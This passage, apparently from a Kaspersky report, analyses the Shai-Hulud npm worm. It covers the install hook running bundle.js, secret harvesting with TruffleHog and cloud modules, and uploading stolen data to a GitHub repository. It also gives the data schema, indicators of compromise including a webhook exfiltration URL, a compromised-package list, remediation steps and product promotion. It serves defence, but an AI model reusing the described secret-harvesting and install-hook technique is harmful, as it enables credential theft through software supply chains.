The modified package is then re-packed and published to npm as a new version with the npm publish command. After this, the temporary directory for the package is cleared.
Uploading secrets to GitHub
Next, the worm uses the previously mentioned TruffleHog utility to harvest secrets from the target system. It downloads the latest version of the utility from the original repository for the specific operating system type using the following link:
https://github.com/trufflesecurity/trufflehog/releases/download/{utility version}/{OS-specific file}
The worm also uses modules for AWS and Google Cloud Platform (GCP) to scan for secrets. The script then aggregates the collected data into a single object and creates a repository named “Shai-Hulud” in the victim’s profile. It then uploads the collected information to this repository as a data.json file.
Below is a list of data formats collected from the victim’s system and uploaded to GitHub:
{
"application": {
"name": "",
"version": "",
"description": ""
},
"system": {
"platform": "",
"architecture": "",
"platformDetailed": "",
"architectureDetailed": ""
},
"runtime": {
"nodeVersion": "",
"platform": "",
"architecture": "",
"timestamp": ""
},
"environment": {
},
"modules": {
"github": {
"authenticated": false,
"token": "",
"username": {}
},
"aws": {
"secrets": []
},
"gcp": {
"secrets": []
},
"truffleHog": {
"available": false,
"installed": false,
"version": "",
"platform": "",
"results": [
{}
]
},
"npm": {
"token": "",
"authenticated": true,
"username": ""
}
}
}
Infection characteristics
A distinctive characteristic of the modified packages is that they contain an archive named package.tar. This is worth noting because packages usually contain an archive with a name that matches the package itself.
Through our research, we were able to identify the first package from which Shai-Hulud began to spread, thanks to a key difference. As we mentioned earlier, after infection, a postinstall command to execute the malicious script, node bundle.js, is written to the package.json file. This command typically runs immediately after installation. However, we discovered that one of the infected packages listed the same command as a preinstall command, meaning it ran before the installation. This package was ngx-bootstrap version 18.1.4. We believe this was the starting point for the spread of this infection. This hypothesis is further supported by the fact that the archive name in the first infected version of this package differed from the name characteristic of later infected packages (package.tar).
While investigating different packages, we noticed that in some cases, a single package contained multiple versions with malicious code. This was likely possible because the infection spread to all maintainers and contributors of packages, and the malicious code was then introduced from each of their accounts.
Infected libraries and CrowdStrike
The rapidly spreading Shai-Hulud worm has infected many popular libraries that organizations and developers use daily. Shai-Hulud has infected over 500 popular packages in recent days, including libraries from the well-known company CrowdStrike.
Among the infected libraries were the following:
- @crowdstrike/commitlint versions 8.1.1, 8.1.2
- @crowdstrike/falcon-shoelace versions 0.4.1, 0.4.2
- @crowdstrike/foundry-js versions 0.19.1, 0.19.2
- @crowdstrike/glide-core versions 0.34.2, 0.34.3
- @crowdstrike/logscale-dashboard versions 1.205.1, 1.205.2
- @crowdstrike/logscale-file-editor versions 1.205.1, 1.205.2
- @crowdstrike/logscale-parser-edit versions 1.205.1, 1.205.2
- @crowdstrike/logscale-search versions 1.205.1, 1.205.2
- @crowdstrike/tailwind-toucan-base versions 5.0.1, 5.0.2
But the event that has drawn significant attention to this spreading threat was the infection of the @ctrl/tinycolor library, which is downloaded by over two million users every week.
As mentioned above, the malicious script exposes an organization’s private repositories, posing a serious threat to their owners, as this creates a risk of exposing the source code of their libraries and products, among other things, and leading to an even greater loss of data.
Prevention and protection
To protect against this type of infection, we recommend using a specialized solution for monitoring open-source components. Kaspersky maintains a continuous feed of compromised packages and libraries, which can be used to secure your supply chain and protect development from similar threats.
For personal devices, we recommend Kaspersky Premium, which provides multi-layered protection to prevent and neutralize infection threats. Our solution can also restore the device’s functionality if it’s infected with malware.
For corporate devices, we advise implementing a comprehensive solution like Kaspersky Next, which allows you to build a flexible and effective security system. This product line provides threat visibility and real-time protection, as well as EDR and XDR capabilities for investigation and response. It is suitable for organizations of any scale or industry.
Kaspersky products detect the Shai-Hulud threat as HEUR:Worm.Script.Shulud.gen.
In the event of a Shai-Hulud infection, and as a proactive response to the spreading threat, we recommend taking the following measures across your systems and infrastructure:
- Use a reliable security solution to conduct a full system scan.
- Audit your GitHub repositories:
- Check for repositories named
shai-hulud. - Look for non-trivial or unknown branches, pull requests, and files.
- Audit GitHub Actions logs for strings containing
shai-hulud. - Reissue npm and GitHub tokens, cloud keys (specifically for AWS and Google Cloud Platform), and rotate other secrets.
- Clear the cache and inventory your npm modules: check for malicious ones and roll back versions to clean ones.
- Check for indicators of compromise, such as files in the system or network artifacts.
Indicators of compromise
Files:
bundle.js
shai-hulud-workflow.yml
Strings:
shai-hulud
Hashes:
C96FBBE010DD4C5BFB801780856EC228
78E701F42B76CCDE3F2678E548886860
Network artifacts:
https://webhook.site/bb8ca5f6-4175-45d2-b042-fc9ebb8170b7
Compromised packages:
@ahmedhfarag/ngx-perfect-scrollbar
@ahmedhfarag/ngx-virtual-scroller
@art-ws/common
@art-ws/config-eslint
@art-ws/config-ts
@art-ws/db-context
@art-ws/di
@art-ws/di-node
@art-ws/eslint
@art-ws/fastify-http-server
@art-ws/http-server
@art-ws/openapi
@art-ws/package-base
@art-ws/prettier
@art-ws/slf
@art-ws/ssl-info
@art-ws/web-app
@basic-ui-components-stc/basic-ui-components
@crowdstrike/commitlint
@crowdstrike/falcon-shoelace
@crowdstrike/foundry-js
@crowdstrike/glide-core
@crowdstrike/logscale-dashboard
@crowdstrike/logscale-file-editor
@crowdstrike/logscale-parser-edit
@crowdstrike/logscale-search
@crowdstrike/tailwind-toucan-base
@ctrl/deluge
@ctrl/golang-template
@ctrl/magnet-link
@ctrl/ngx-codemirror
@ctrl/ngx-csv
@ctrl/ngx-emoji-mart
@ctrl/ngx-rightclick
@ctrl/qbittorrent
@ctrl/react-adsense
@ctrl/shared-torrent
@ctrl/tinycolor
@ctrl/torrent-file
@ctrl/transmission
@ctrl/ts-base32
@nativescript-community/arraybuffers
@nativescript-community/gesturehandler
@nativescript-community/perms
@nativescript-community/sentry
@nativescript-community/sqlite
@nativescript-community/text
@nativescript-community/typeorm
@nativescript-community/ui-collectionview
@nativescript-community/ui-document-picker
@nativescript-community/ui-drawer
@nativescript-community/ui-image
@nativescript-community/ui-label
@nativescript-community/ui-material-bottom-navigation
@nativescript-community/ui-material-bottomsheet
@nativescript-community/ui-material-core
@nativescript-community/ui-material-core-tabs
@nativescript-community/ui-material-ripple
@nativescript-community/ui-material-tabs
@nativescript-community/ui-pager
@nativescript-community/ui-pulltorefresh
@nstudio/angular
@nstudio/focus
@nstudio/nativescript-checkbox
@nstudio/nativescript-loading-indicator
@nstudio/ui-collectionview
@nstudio/web
@nstudio/web-angular
@nstudio/xplat
@nstudio/xplat-utils
@operato/board
@operato/data-grist
@operato/graphql
@operato/headroom
@operato/help
@operato/i18n
@operato/input
@operato/layout
@operato/popup
@operato/pull-to-refresh
@operato/shell
@operato/styles
@operato/utils
@teselagen/bio-parsers
@teselagen/bounce-loader
@teselagen/file-utils
@teselagen/liquibase-tools
@teselagen/ove
@teselagen/range-utils
@teselagen/react-list
@teselagen/react-table
@teselagen/sequence-utils
@teselagen/ui
@thangved/callback-window
@things-factory/attachment-base
@things-factory/auth-base
@things-factory/email-base
@things-factory/env
@things-factory/integration-base
@things-factory/integration-marketplace
@things-factory/shell
@tnf-dev/api
@tnf-dev/core
@tnf-dev/js
@tnf-dev/mui
@tnf-dev/react
@ui-ux-gang/devextreme-angular-rpk
@ui-ux-gang/devextreme-rpk
@yoobic/design-system
@yoobic/jpeg-camera-es6
@yoobic/yobi
ace-colorpicker-rpk
airchief
airpilot
angulartics2
another-shai
browser-webdriver-downloader
capacitor-notificationhandler
capacitor-plugin-healthapp
capacitor-plugin-ihealth
capacitor-plugin-vonage
capacitorandroidpermissions
config-cordova
cordova-plugin-voxeet2
cordova-voxeet
create-hest-app
db-evo
devextreme-angular-rpk
devextreme-rpk
ember-browser-services
ember-headless-form
ember-headless-form-yup
ember-headless-table
ember-url-hash-polyfill
ember-velcro
encounter-playground
eslint-config-crowdstrike
eslint-config-crowdstrike-node
eslint-config-teselagen
globalize-rpk
graphql-sequelize-teselagen
json-rules-engine-simplified
jumpgate
koa2-swagger-ui
mcfly-semantic-release
mcp-knowledge-base
mcp-knowledge-graph
mobioffice-cli
monorepo-next
mstate-angular
mstate-cli
mstate-dev-react
mstate-react
ng-imports-checker
ng2-file-upload
ngx-bootstrap
ngx-color
ngx-toastr
ngx-trend
ngx-ws
oradm-to-gql
oradm-to-sqlz
ove-auto-annotate
pm2-gelf-json
printjs-rpk
react-complaint-image
react-jsonschema-form-conditionals
react-jsonschema-form-extras
react-jsonschema-rxnt-extras
remark-preset-lint-crowdstrike
rxnt-authentication
rxnt-healthchecks-nestjs
rxnt-kue
swc-plugin-component-annotate
tbssnch
teselagen-interval-tree
tg-client-query-builder
tg-redbird
tg-seq-gen
thangved-react-grid
ts-gaussian
ts-imports
tvi-cli
ve-bamreader
ve-editor
verror-extra
voip-callkit
wdio-web-reporter
yargs-help-output
yoo-styles



